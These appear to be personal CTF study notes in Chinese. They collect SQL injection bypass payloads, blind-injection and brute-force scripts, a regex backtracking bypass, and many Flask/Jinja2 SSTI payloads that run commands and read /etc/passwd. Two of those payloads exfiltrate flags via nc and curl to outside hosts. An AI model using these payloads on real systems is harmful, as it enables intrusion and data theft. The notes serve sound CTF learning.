3月
flag{1377_2127_3343_4241_5864}
https://en.wikipedia.org/wiki/Book_cipher
书籍加密 五首诗作为密码本
写cookie的js
document.cookie = "BagelLover" + "=" + "flag{d1d_y0u_kn0w_1_1iK3_b4g3ls}" + ";"
登录受js限制
可以从js中审出账号密码 或者可以看登录成功后location.href定位到的路径

sqli 过滤了select 双写绕过
' union sselectelect 1,1,group_concat(flag) from flags#
用在线xss平台打xss 可以将post改为get看看能不能成
import requests
url = "http://week-2.hgame.lwsec.cn:31538"
data = {"username":"user01","password":"admin123"}
cookie =''
r = requests.post(url+"/login",data=data)
if r.status_code == 200:
print(r.headers)
#print(r.text)
else:
print("failed")
cookie = "SESSION=MTY3MzY3MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18VLM5ji44g8Q0nf-F-lnqM5E359riwZBX_kqhcBKpg7I="
headers = {
"Cookie": cookie
}
print(headers)
'''
payload = "binary(DATABASE())"
payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)WHERE((table_schema)like('se4rch'))"
payload = "SELECT(group_concat(column_name))FROM(infOrmation_schema.columns)WHERE((table_schema)like('se4rch'))AND((table_name)like('5ecret15here'))"
payload = "SELECT(binary(F14GGGG1SHERE))FROM(se4rch.5ecret15here)"
'''
# payload = "SELECT(binary(F14GGGG1SHERE))FROM(se4rch.5ecret15here)" #binary防止输出全为大写
payload = "seselectlect(F14GGGG1SHERE)frfromom(se4rch.5ecret15here)"
#payload = "select(binary(Database()))"
#payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)Where((table_schema)like('se4rch'))"
#payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)WHERE((table_schema)like('se4rch'))"
#payload = "Select(group_concat(table_name))FROM(Information_schema.tables)Where((table_schema)like('se4rch'))"
flag = ''
i = 1
while True:
for j in range(32, 126):
c = chr(j)
# 转义一下不然遇到肯定全是%,,
if c == '%':
c = '\\%'
if c == '_':
c = '\\_'
data = {
'search_id': f"-1||(substr(({payload}),{i},1)like('{c}'))",
}
r = requests.post(url+'/search', data=data, headers=headers)
if r.status_code == 200:
if 'hard disk' in r.text:
i += 1
flag += chr(j)
break
print(flag)
if flag[-1] == "}":
break
print(flag)
quene注入
拿payload的脚本
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)") #33是! 34是" 39是'根据需求替换33
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(!!)#"
quine(data)
'//union//select(REPLACE(REPLACE('"//union//select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"//union//select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
题目:执行的结果与输入相同
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
正则最大回溯绕过:
题目:
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
脚本:
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28939/", data={"letter":payload})
print(res.text)
[NISACTF 2022]hardsql
like模糊测试密码 爆破密码脚本
import requests
url='http://1.14.71.254:28695/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag=''
for j in range(50):
for i in dict:
data={
"username":"bilala",
"passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"
}
res=requests.post(url,data=data)
if "nothing found" not in res.text:
flag=flag+i
print(flag)
break
题目:
<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
脚本:根据需求修改
def quine(data, debug=True):
if debug: print(data)
data = data.replace('..',"REPLACE(REPLACE(..,CHAR(34),CHAR(39)),CHAR(46),..)")
blob = data.replace('..','"."').replace("'",'"')
data = data.replace('..',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(..)#"
data = quine(data)
print(data.replace('CHAR','chr'))
#print(ord('.'))
1'//union//select//replace(replace('1"//union//select//replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"//union//select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#
'//union//select(REPLACE(REPLACE('"//union//select(REPLACE(REPLACE("!",CHR(34),CHR(39)),CHR(33),"!"))#',CHR(34),CHR(39)),CHR(33),'"//union//select(REPLACE(REPLACE("!",CHR(34),CHR(39)),CHR(33),"!"))#'))#
可以看到 union replace select () /**/ ' " # 是不能被过滤掉的
[GXYCTF 2019]BabySqli
括号 substr order by被过滤了
$data = 检索数据。
if ($data['username'] === 'admin') {
if ($data['password'] === md5($pw)) {
return true;
}
}
操控查询结果
name=5555' union select 0,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
name出的东西必须不能存在不然查询出的内容不是admin 和后边的值 pw值的md5值为密码(还要判断或者猜数据库如何对密码进行加密 一般是md5)
[SWPUCTF 2021 新生赛]简简单单的逻辑已解决
爆破
list = [47, 138, 127, 57, 117, 188, 51, 143, 17, 84, 42, 135, 76, 105, 28, 169, 25]
print(len(list))
flag="bcfba4d0038d48bd4b00f82796d393dfec"
result = ''
cai = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM{}_"
for i in range(len(list)):
for j in cai:
print(j)
key = (list[i] >> 4) + ((list[i] & 0xf) << 4)
resulttmp = str(hex(ord(j) ^ key))[2:].zfill(2)
print("----------")
print(resulttmp)
print(flag[2*i:2*i+2])
print("----------")
if resulttmp == flag[2*i:2*i+2] :
result+=j
print("success")
break
print("----------")
print("flag:")
print(result)
SQLite
主表中保存数据库表的关键信息,并把它命名为 sqlite_master
sqlite>.schema sqlite_master
注释:
-- 注释
/* */
SQLite中有一个类似information_schema功能的表sqlite_master
type:记录项目的类型,如table、index、view、trigger
name:记录项目的名称,如表名、索引名等
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql:记录创建该项目的SQL语句
select name from sqlite_master where type='table' limit 1,1
select sql from sqlite_master where type='table' and name = 'flag'
MariaDB
过滤有空格 or union 置空过滤
nss=0' ununionion/**/select/**/1,2,database()# 查到数据库
NSS_db
nss=0' ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()# 查表
NSS_tb,users
nss=0' ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()#
id,Secr3t,flll444g,id,username,password
nss=0' ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_tb#
二次注入+SQLite的盲注
有register login query update等功能 不过在nss上的环境可以直接query
在登陆注册界面存在二次注入
先注册账号为admin'--
然后修改密码为 1 实际上是将admin 密码修改为 1
在query处有布尔注入
如果用户名存在正常是exist 还可以是no user
通过查询sys.schema_table_statistics_with_buffer和sys.schema_auto_increment_columns获得表名
id=1 and 1=2--%20
str = string.ascii_letters + string.digits python获取字符
import requests
import time
url="http://1.14.71.254:28315/query"
proxies = { "http": None, "https": None} #3.7以后要添加代理池
headers = {
"cookie": "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YkkjXA.WbHYPyUwjK1LKWfvl5guk4u3QdQ"
}
flag=''
for pos in range(1,10000):
for asci in range(32,126):
data={
#id=-1 or (case when(substr(sqlite_version(),1,1)='3') then 1=1 else 1=2 end)/* --
#"id":"-1 or (case when(substr(sqlite_version(),"+str(pos)+",1)='"+str(chr(asci))+"') then 1=1 else 1=2 end)/* --"
"id":"-1 or (case when substr((select flag from flag) ,"+str(pos)+",1)='"+str(chr(asci))+"' then 1=1 else 1=2 end)/* --"
#"id":"if("+str(asci)+"=ascii(substr(database(),"+str(pos)+",1)),1,2)"
#"id":"if("+str(asci)+"=ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),"+str(pos)+",1)),1,2)"
}
print("asci now is "+str(asci))
#time.sleep(0.1)
resp = requests.post(url=url,data=data,proxies=proxies,headers=headers);
if 'exist'in resp.text:
print("get! the asci now is "+str(asci))
flag = flag + chr(asci)
print(flag)
break;
if asci==126:
exit(0)
print(flag)
[NSSCTF 2022 Spring Recruit]babysql
NSSCTF{c7efa8ed-2c17-478e-b0b1-30041c07db27}
test
FLAG,USERS
USER,CURRENT
true时为 string(39) "前有flag,所以,是绕过的时候了"
false时为 竟然是死胡同(沮丧)
遇到过滤时 hacker!!black_list is /if|and|\s|#|--/i
payload: 0'||(select/**/1)||'z'='a
脚本:许多盲注入都是换汤不换药,找出payload后,脚本微调即可
import requests
url = "http://1.14.71.254:28825/"
data = {"username":"user01"}
cookie =''
r = requests.post(url,data=data)
if r.status_code == 200:
print(r.headers)
#print(r.text)
else:
print("failed")
'''
payload = "binary(DATABASE())"
payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)WHERE((table_schema)like('se4rch'))"
payload = "SELECT(group_concat(column_name))FROM(infOrmation_schema.columns)WHERE((table_schema)like('se4rch'))AND((table_name)like('5ecret15here'))"
payload = "SELECT(binary(F14GGGG1SHERE))FROM(se4rch.5ecret15here)"
'''
# payload = "SELECT(binary(F14GGGG1SHERE))FROM(se4rch.5ecret15here)" #binary防止输出全为大写
#payload = "seselectlect(F14GGGG1SHERE)frfromom(se4rch.5ecret15here)"
#payload = "select(binary(Database()))"
#payload = "0'||(substr((select/**/Database()),2,1)='1')||'z'='a"
#payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)Where((table_schema)like('se4rch'))"
#payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)Where((table_schema)like('se4rch'))"
#payload = "SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)WHERE((table_schema)like('se4rch'))"
#payload = "Select(group_concat(table_name))FROM(Information_schema.tables)Where((table_schema)like('se4rch'))"
flag = ''
i = 40
while True:
for j in range(36, 126):
c = chr(j)
# 转义一下不然遇到肯定全是%,,
if c == '%':
c = '\\%'
if c == '_':
c = '\\_'
data = {
#'username': f"0'||(substr((SELECT(group_concat(column_name))FROM(infOrmation_schema.columns)Where((table_name)=('users'))),{i},1)='{c}')||'z'='a",
'username': f"0'||(ascii(substr((SELECT(group_concat(flag))FROM(flag)),{i},1))={j})||'z'='a",
#'username': f"0'||(substr((SELECT(group_concat(table_name))FROM(infOrmation_schema.tables)Where((table_schema)=('test'))),{i},1)='{c}')||'z'='a",
}
r = requests.post(url, data=data)
if r.status_code == 200:
#print(r.text)
if 'string(39)' in r.text:
#print("bbbbbbbbbbbbbbb")
#print(r.text)
i += 1
flag += chr(j)
break
#if '竟然是死胡同(沮丧)' in r.text:
#print()
#else:
#print("ccccccccccccccccccccccc")
#print(r.text)
print(flag)
#if flag[-1:] == "}":
# break
if i == 60:
break
print(flag)
ezsql update上的
语法:
UPDATE Websites
SET alexa='5000', country='USA'
WHERE name='菜鸟教程';
nickname=1&age=1,description=(select database()) where nickname=1#&description=1&token=e25b451868ad4ec07536e107b2bcf993
demo2
nickname=1&age=1,description=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where nickname=1#&description=1&token=e25b451868ad4ec07536e107b2bcf993
users
nickname=1&age=1,description=(select group_concat(column_name) from information_schema.columns where table_schema=database()) where nickname=1#&description=1&token=e25b451868ad4ec07536e107b2bcf993
id,username,password,nickname,age,description
应该是权限问题(看到后边发现不是权限问题 这里很奇怪不知道是咋过滤的)
nickname=1&age=1,description=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=us/**/ers) where nickname=1#&description=1&token=e25b451868ad4ec07536e107b2bcf993
nickname=1&age=1,description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) where nickname=1#&description=1&token=e25b451868ad4ec07536e107b2bcf993
这个可以 将users十六进制编码 有点离谱 再看看
nickname=1&age=1,description=(select group_concat(username) %75%73%65%72%73)%23&description=1&token=e25b451868ad4ec07536e107b2bcf993
更离谱了都猜不出来后端是咋写的了
读取的密码 1的md5值 和我注册的一样,那么密码就是md5加密
c4ca4238a0b923820dcc509a6f75849b

奇奇怪怪的知识,mysql会自动解码十六进制
payload:
nickname=1&age=11,password=0x3230326362393632616335393037356239363462303731353264323334623730#&description=1&token=c1ad9bc6a229095709943d3d6871b035
ssti
过滤了{{}}所以使用{%print()%}
{%print(666)%}
因为.和[]被过滤,所以使用flask的|attr来调用方法
‘’|attr(“__class__”)等于
‘’.__class__
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
{%print((((lipsum|attr("__globals__"))|attr("get")("os"))|attr("popen")("tac /f*"))|attr("read")())%}
().__class__.__bases__.__subclasses__.[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20flag.txt').read()")
().__class__.__bases__.__subclasses__.[166](warnings.catch_warnings).__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20flag.txt').read()")
{{(((()|attr(request.args.cla)|attr(request.args.bas)|list).pop(0))|attr(request.args.sub)()).pop(166)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)(request.args.bui)|attr(request.args.geti)(request.args.ii)(request.args.hh)}}&cla=__class__&bas=__bases__&sub=__subclasses__&ini=__init__&glo=__globals__&bui=__builtins__&hh=__import__('os').popen('ls').read()&ii=eval&geti=__getitem__
{{(((()|attr(request.args.cla)|attr(request.args.bas)|list).pop(0))|attr(request.args.sub)()).pop(166)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)(request.args.bui)|attr(request.args.geti)(request.args.ii)(request.args.hh)}}&cla=__class__&bas=__bases__&sub=__subclasses__&ini=__init__&glo=__globals__&bui=__builtins__&hh=__import__('cat flag.txt').popen('ls').read()&ii=eval&geti=__getitem__
>>> "7*7".encode("hex")
'372a37'
>>> eval("\x37\x2a\x37")
49
flask ssti level1
探测 {{config}}
寻找利用模块脚本:
a ="<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>"
#b = a.replace("'","").replace("<","'").replace(">","'")
#c = b
c = a.split(",")
j = -1
for i in c:
j = j+1
if "os._wrap_close" in i:
print(i+str(j))
break
进行系统命令的os._wrap_close类
读文件:
().__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['open']('G:/1.txt').read()

写文件:
().__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['open']('G:/2.txt','w').write('7777777')

还会返回文件长度(覆盖式写)
同样获取os类 (当 [] 被过滤了)
().__class__.__base__.__subclasses__().__getitem__(128)
().__class__.__base__.__subclasses__().__getitem__(128).__init__.__globals__.get('popen')('G:/1.txt').read()
#会打开这个文件
level1环境:
执行命令:
294为 <class 'subprocess.Popen'> 类 所以要先找到这个类
{{().__class__.__base__.__subclasses__()[294]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{%print(().__class__.__base__.__subclasses__()[294]('ls',shell=True,stdout=-1).communicate()[0].strip())%}
134为 builtins 类
{{().__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{%print(().__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))%}
执行命令:用的 <class 'subprocess.Popen'> 类
{{().__class__.__base__.__subclasses__()[294].__init__.__globals__['os'].popen('cat flag').read()}}
{%print(().__class__.__base__.__subclasses__()[294].__init__.__globals__['os'].popen('ls').read())%}
读文件: 133为 os._wrap_close 类
{%print(().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['open']('/etc/passwd').read())%}
level2环境
过滤了{{ 用{%%}即可
level3环境(没打通)
盲注
DNSlog打出数据
http://`命令`.域名
nc:
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}
DNSlog:
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.gm912i.ceye.io').read()}}{% endif %}{% endfor %}
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`echo 1`.gm912i.ceye.io').read()}}{% endif %}{% endfor %}
level4
过滤了 [ ]
Popen类
{{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(294).__init__.__globals__.__getitem__('os').popen('ls').read()}}
{{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(395).__init__.__globals__.__getitem__('os').popen('ls').read()}}
一句话完成
{% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('ls').read()}}{% endif %}{% endfor %}
level5
引号过滤 Popen类
{{().__class__.__mro__[-1].__subclasses__()[294].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=os&arg2=ls
#使用Cookie
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag
chr函数绕过
找chr函数位置 爆破一下chr位置(会有好几个)
{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
下边两个要一起
{%set chr=[].__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
{%print(().__class__.__mro__[-1].__subclasses__()[294].__init__.__globals__[chr(111)+chr(115)].popen(chr(108)+chr(115)).read())%}
level6
unicode编码 绕下划线过滤
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
cookie用法或者post
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('ls').read()
post
{{(x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)}}
x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('ls').read()
level7
过滤了 .
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(294)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}
level8(没打通)
{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](294)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('ls')['read']()}}
level9
WAF: bl[‘0-9’]
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
{% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('ls').read()}}{% endif %}{% endfor %}
等号前边几个a表示是几
{% set two=dict(aa=a)|join|count %}
{% set five=dict(aaaaaaaaa=a)|join|count %}
{% set eight=dict(aaaa=a)|join|count %}
{% set erwuba=(two~five~eight)|int %}
{{().__class__.__base__.__subclasses__()[erwuba].__init__.__globals__['os'].popen('ls').read()}}
level10
获取config
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
level11
WAF: bl[‘'‘, ‘“‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
命令修改,单独设置命令每一个单词
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cmd=(ls)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
level 12
WAF: bl[‘_’, ‘.’, ‘0-9’, ‘\‘, ‘'‘, ‘“‘, ‘[‘, ‘]’]
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cmd=(ls|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
level 13
WAF: bl[‘_’, ‘.’, ‘\‘, ‘'‘, ‘“‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’]
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cmd=(ls|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
NK
<?php
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
//waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
$w = new Welcome();
